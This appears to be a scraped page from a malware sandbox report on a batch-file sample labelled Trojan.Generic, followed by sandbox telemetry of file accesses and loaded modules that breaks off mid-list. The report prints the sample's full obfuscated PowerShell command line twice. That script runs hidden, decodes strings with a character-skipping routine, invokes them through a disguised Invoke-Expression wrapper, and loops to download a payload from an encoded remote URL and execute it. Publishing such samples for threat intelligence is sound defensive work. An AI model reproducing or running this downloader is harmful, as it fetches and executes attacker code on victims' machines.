21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 56:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample ba74bc113f85… — Score 80/100 — Hybrid Analysis","description":"Malicious verdict for sample ba74bc113f85…. Malware family: Trojan.Generic. Threat score 80/100. 3/26 AV engines flagged this file. 1 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ba74bc113f85f02fd28e9e4a799b2e80a5b27b2c0d984d1726b76b1a9e9bb932","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","ba74bc113f85f02fd28e9e4a799b2e80a5b27b2c0d984d1726b76b1a9e9bb932"],"about":{"@type":"SoftwareApplication","name":"z1EXPORTDOCS10_.bat","applicationCategory":["script","bat"],"identifier":"ba74bc113f85f02fd28e9e4a799b2e80a5b27b2c0d984d1726b76b1a9e9bb932","additionalType":"Malicious sample"},"threatScore":80,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":3,"total":26},"behavioralIndicators":{"malicious":1,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T181c,-windowstyle hidden "mv 'nonresilience';function Actinism ($radionecrosis252='garrafa'){ $futurable=3;do {$befolkningseksplosions+=$radionecrosis252[$futurable];$futurable+=4;$escapingly=Get-Date}<#bambushytters henvendelserne Flower #>until (!$radionecrosis252[$futurable]);$befolkningseksplosions}function Irremovableness ($undermelodies){.$breaks ($undermelodies)}$charioteers=Actinism ' rrTooolq qsccc1 mm2';$skifflegrupperne=Actinism 'DDDn!!!E;;.T cc. ;;w Ie';$sympodia=[Nullable[int]]0;$skifflegrupperne+=Actinism '??,B aac!!!L ::IDDDecccNJJJt';$upopulrere=Actinism 'vvvM|||o y,z & iVVVlWWWliiia////';$honeyed115=' QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi ^Nhhhtooom>>>a ||N IIAmmmg^^ E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S';$upopulrere+=Actinism ',||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 ,W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0';$uneradicated=Actinism 'sssuxx s???eRRRR ff-cccA/ /GG.GEmm,Neeet';$stonewall=Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o ^,s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn^^^5 HHcD,D2 VVvAAAw .oe EEidddaqqq5 **m,HHdQ.QfSS inn xhhhs^^^eTTTt bug,gtZZZ7???t iczzze=.=.HHHi,zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi';$reinvesteringen112=Actinism ' ,z>';$breaks=Actinism ' ZZIss.E ! X';$hjernetrusts='nurtureless';$ahrendahronon95='\Archaeogeology.Mrk';Irremovableness (Actinism ' vv$qqqpG GEww DMMMI,OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR,ccoA An ^^O uuNX X9VVV5');Irremovableness (Actinism 'Z Z$FF p<,>:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooov^^^E tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)');Irremovableness (Actinism $honeyed115);$tussucks2='fremkomsters';$stonewall=$absorbere[$sympodia];$buhkos='semispinalis';$strandage=(Actinism 'mm,$>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y,0rrr;###$ rg ttl CCo M,BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm,l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s,__TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC,Cu!!!p wwP kkeSSSRTTTn rre');Irremovableness ($strandage);Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t,GGe RRlVVViXXXgZZZe CCs---.??.H!!!e <gfffe,--slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)';$orthogranite=$agrobiological;mv 'hjlpeskrmen';Irremovableness (Actinism ' **$ ??Pzz eHHHDNNNIhh PSS ammmLpppPd dSh.h=:::0x,x;GGG$mm,G h lJJJoEEEbs sAkkkL D:,hhS ddaDDDd JJdSSSE_._l ||Tjjja oog rressst!!!= r.(rrrtdddE ;;SiiiTlll-RRRPQQQaiiitg.gh m, lll$ xxo&&,ry ytXX HHHHO ~~G *RSSSAAA nI IiXXXTDDDED.D)');mv 'simultanpartiernes';while ((!$saddeltaget)) {Irremovableness (Actinism 'NNN$vvvpVVVe ,^d ||i;;;p ||a==,l ,NpEEEsEEE=~~~0ww,;yyy$!!!gww,lbb.oXX b== a;;;leee:bbbD,zziq,qfyyyf >,uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S,S$###tYYYrWWWiPPPa jjd ;;iII,sp pt') ;Irremovableness $husdyrbrugets;Irremovableness (Actinism 'HHH[q,qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***r^^^egggA,vvD^^^]RRR:OOO: ,vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)');Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc,b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__,T ^^A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa,+| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') ;$stonewall=$absorbere[$damevennernes72]}$pisistance=286507;$gudsn=29414;Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=^^^0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp,D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,^^uzzzt^^ iIIIo jjnAAA)');Irremovableness (Actinism ';;;$ ^^plllE^^^dLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy,$nnnG .gLS SoA,ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO,OoRRRm rrs ??T++,ejjjRz zsBB <<<=,ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)');Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A,aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS,QQ=S S$k,kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)');Irremovableness $kristels;"23:T1808,"mv 'nonresilience';function Actinism ($radionecrosis252='garrafa'){ $futurable=3;do {$befolkningseksplosions+=$radionecrosis252[$futurable];$futurable+=4;$escapingly=Get-Date}<#bambushytters henvendelserne Flower #>until (!$radionecrosis252[$futurable]);$befolkningseksplosions}function Irremovableness ($undermelodies){.$breaks ($undermelodies)}$charioteers=Actinism ' rrTooolq qsccc1 mm2';$skifflegrupperne=Actinism 'DDDn!!!E;;.T cc. ;;w Ie';$sympodia=[Nullable[int]]0;$skifflegrupperne+=Actinism '??,B aac!!!L ::IDDDecccNJJJt';$upopulrere=Actinism 'vvvM|||o y,z & iVVVlWWWliiia////';$honeyed115=' QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi ^Nhhhtooom>>>a ||N IIAmmmg^^ E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S';$upopulrere+=Actinism ',||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 ,W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0';$uneradicated=Actinism 'sssuxx s???eRRRR ff-cccA/ /GG.GEmm,Neeet';$stonewall=Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o ^,s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn^^^5 HHcD,D2 VVvAAAw .oe EEidddaqqq5 **m,HHdQ.QfSS inn xhhhs^^^eTTTt bug,gtZZZ7???t iczzze=.=.HHHi,zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi';$reinvesteringen112=Actinism ' ,z>';$breaks=Actinism ' ZZIss.E ! X';$hjernetrusts='nurtureless';$ahrendahronon95='\Archaeogeology.Mrk';Irremovableness (Actinism ' vv$qqqpG GEww DMMMI,OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR,ccoA An ^^O uuNX X9VVV5');Irremovableness (Actinism 'Z Z$FF p<,>:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooov^^^E tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)');Irremovableness (Actinism $honeyed115);$tussucks2='fremkomsters';$stonewall=$absorbere[$sympodia];$buhkos='semispinalis';$strandage=(Actinism 'mm,$>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y,0rrr;###$ rg ttl CCo M,BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm,l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s,__TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC,Cu!!!p wwP kkeSSSRTTTn rre');Irremovableness ($strandage);Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t,GGe RRlVVViXXXgZZZe CCs---.??.H!!!e <gfffe,--slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)';$orthogranite=$agrobiological;mv 'hjlpeskrmen';Irremovableness (Actinism ' **$ ??Pzz eHHHDNNNIhh PSS ammmLpppPd dSh.h=:::0x,x;GGG$mm,G h lJJJoEEEbs sAkkkL D:,hhS ddaDDDd JJdSSSE_._l ||Tjjja oog rressst!!!= r.(rrrtdddE ;;SiiiTlll-RRRPQQQaiiitg.gh m, lll$ xxo&&,ry ytXX HHHHO ~~G *RSSSAAA nI IiXXXTDDDED.D)');mv 'simultanpartiernes';while ((!$saddeltaget)) {Irremovableness (Actinism 'NNN$vvvpVVVe ,^d ||i;;;p ||a==,l ,NpEEEsEEE=~~~0ww,;yyy$!!!gww,lbb.oXX b== a;;;leee:bbbD,zziq,qfyyyf >,uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S,S$###tYYYrWWWiPPPa jjd ;;iII,sp pt') ;Irremovableness $husdyrbrugets;Irremovableness (Actinism 'HHH[q,qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***r^^^egggA,vvD^^^]RRR:OOO: ,vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)');Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc,b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__,T ^^A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa,+| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') ;$stonewall=$absorbere[$damevennernes72]}$pisistance=286507;$gudsn=29414;Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=^^^0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp,D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,^^uzzzt^^ iIIIo jjnAAA)');Irremovableness (Actinism ';;;$ ^^plllE^^^dLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy,$nnnG .gLS SoA,ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO,OoRRRm rrs ??T++,ejjjRz zsBB <<<=,ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)');Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A,aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS,QQ=S S$k,kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)');Irremovableness $kristels;"24:Ta24,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1"25:T5007,"cmd.exe" loaded module "KERNEL32" at base 7ffcffb40000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffcfe2b0000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffcfe2b0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffcfe2b0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffd01a30000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffcfe2b0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffcfe2b0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffcfe2b0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffcffb40000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffd01eb0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffcfe2b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffcfe2b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffcfe2b0000 "powershell.exe" loaded module "KERNEL32" at base 7ffcffb40000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffcffb40000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffd01a60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffceb030000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffcffe40000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffcfe240000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffcf4bc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffcd00c0000 "powershell.exe" loaded module "USER32.DLL" at base 7ffd01bc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffcfe2b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffcec4d0000 "powershell.exe" loaded module "NTDLL" at base 7ffd01eb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffd00120000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffcffeb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffccdde0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ffcfffd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffd00120000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffd01d50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffccd170000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffccc6f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffcd29a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffcfd640000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffcfe8b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffcca680000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffd00120000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffd00120000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffd01eb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffd00430000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffd005e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffcfe930000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffcf12b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffcf4bc0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffcf1290000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffcfe930000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffcfe6e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RU0ZUK88.DLL" at base 7ffcdf890000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffcd2900000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffcd2790000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffcd2620000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffccf810000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffcfe6e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffcd24e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffcdabe0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffcc9d10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffcc99a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffcfe2b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffcd2390000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffcd2320000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffcc98c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffcd22d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffcf4cb0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffcfe130000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module 